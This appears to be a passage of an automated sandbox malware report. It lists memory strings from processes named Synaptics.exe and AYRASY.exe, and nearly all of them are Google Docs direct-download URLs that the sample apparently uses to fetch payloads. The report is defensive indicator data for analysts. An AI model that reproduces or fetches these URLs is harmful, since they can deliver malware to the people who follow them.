Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFKNv
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadG
Source: Synaptics.exe, 00000003.00000002.2436766309.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadI3:t
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2438067396.0000000002190000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ
Source: Synaptics.exe, 00000003.00000002.2453391890.00000000078A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadJ7
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadK
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadL
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadM
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNIFt
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadNO
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadO
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQ
Source: Synaptics.exe, 00000003.00000003.2356535180.0000000005615000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadQQDv
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadRKzv
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadS
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadSO
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadT
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV
Source: Synaptics.exe, 00000003.00000002.2453391890.00000000078A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadV4
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVG
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadVJ~w.
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadW
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWRZM0
Source: Synaptics.exe, 00000003.00000003.2337108577.0000000005592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadXO
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2338570644.000000000557A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY.exeQ
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZIrt
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadackgr
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadax-ag
Source: Synaptics.exe, 00000003.00000002.2441515499.00000000055D4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 00000003.00000002.2453391890.00000000078A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb7
Source: Synaptics.exe, 00000003.00000002.2436766309.000000000076B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.2436766309.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade3
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade:
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade;padding-right:0
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeSbtc
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadfI.t
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg=
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgle.c
Source: Synaptics.exe, 00000003.00000002.2436766309.000000000076B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj3Y01
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjK
Source: Synaptics.exe, 00000003.00000002.2436766309.000000000076B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadline
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm(
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmp
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn
Source: Synaptics.exe, 00000003.00000002.2453391890.00000000078A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadn4lv$
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnJ&w0
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadnX
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloado
Source: Synaptics.exe, 00000003.00000003.2337108577.0000000005592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadoO
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadonte
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadorn
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp2H
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005618000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrIZt
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrse
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2337108577.00000000055BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsWBHJu
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadscal
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2338570644.000000000557A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt-SeI
Source: Synaptics.exe, 00000003.00000003.2338570644.000000000557A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt1
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt:
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt;wor
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtE
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtO
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtent-e
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtg/
Source: Synaptics.exe, 00000003.00000003.2356235775.00000000007E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtu.ber
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtube.H
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduri
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaduser
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvH
Source: Synaptics.exe, 00000003.00000003.2356852883.00000000055CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000003.00000002.2441515499.000000000556D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000555A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2444000919.000000000603E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000003.00000002.2436766309.0000000000780000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.000000000557F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyO
Source: Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.000000000557A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000002.2453391890.00000000078A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz4xv#
Source: Synaptics.exe, 00000003.00000002.2441515499.0000000005597000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzJRw/
Source: Synaptics.exe, 00000003.00000003.2338678036.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2436766309.00000000007B8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356852883.000000000558B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2357080869.0000000005535000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2441515499.0000000005520000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000003.2356235775.00000000007AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000003.00000002.2453391890.00000000078A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~7
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: AYRASY.exe, 00000000.00000003.2148237469.00000000022E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: ~DFF3ADC856E5C0AEBE.TMP.4.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
